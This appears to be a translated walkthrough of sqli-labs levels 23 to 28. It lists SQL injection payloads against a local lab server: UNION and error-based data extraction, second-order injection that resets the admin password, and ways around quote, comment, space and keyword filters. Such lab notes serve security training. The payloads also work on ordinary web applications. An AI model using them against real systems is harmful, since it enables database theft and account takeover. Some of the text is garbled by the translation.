Less 23:
Topic:
Analysis: Payload:http://192.168.162.135/sqli-libs/less-23/?id=-1 ' Union select 1, @ @version, 3--+ failed, should be filtered to--+, so the revision changed to
Payload:http://192.168.162.135/sqli-libs/less-23/?id=-1 ' Union Select 1, @ @version, ' 3 remove--+, change to ' 3 for closed SQL '
Less 24:
Topic:
Analysis: Storage-type injection, the first admin ' #用户insert database, and then re-update the admin password, will
TRY:
S1: Click on the new user click here, register Admin ' # User, password is 222
S2: View the database, admin ' #已经存在
S3: Login system, change admin password to 111
S4: Check to see if the admin ' #用户的密码 or admin password is changed?!!
The change is the password of the admin, so that we can use the admin login system. Ok!
Less 25:
Topic:
Analysis: Filtering for and and or, with substitution
Add <=> &&
or <=> | |
TRY:
Payload:http://192.168.162.135/sqli-libs/less-25/?id=1 ' | | Extractvalue (1, concat (0x7e, Database ()))--+
Effect: The name of the database is exposed in the error log, and other information is similar to this way!
Less 25a:
Analysis: Unlike less 25, it is closed and does not need to be added '
TRY:
Payload:http://192.168.162.135/sqli-libs/less-25a/?id=-1 Union Select 1,@ @version, 3--+
Less 26:
Topic:
Analysis: Spaces and comments are filtered, and replacement techniques are used here. URL encoding Table
TRY:
Payload:http://192.168.162.135/sqli-libs/less-26/?id=100 ' union%0bselect%a01,@ @version, 3| | ' 1
Effect:
Less 26a:
Similar to less 26, the closed mode becomes ')
Payload:http://192.168.162.135/sqli-libs/less-26a/?id=100 ') union%0bselect%a01,@ @version, 3| | (' 1
Less 27:
Topic:
Analysis: Union,select characters and characters in LESS26 are filtered to change the union to Union,select to select
TRY:
Payload:http://192.168.162.135/sqli-libs/less-27/?id=100 ' Union%0bselect%a01,user (), 3| | ' 1
Effect:
Less 27a:
Analysis: The closed mode becomes "
Payload:http://192.168.162.135/sqli-libs/less-27a/?id=100 "Union%0bselect%a01,user (), 3| |" 1
Less 28:
Analysis: Closed mode becomes ')
Payload:http://192.168.162.135/sqli-libs/less-28/?id=100 ') Union%0bselect%a01,user (), 3| | (' 1
"20171101 early" sqli-libs less 23-28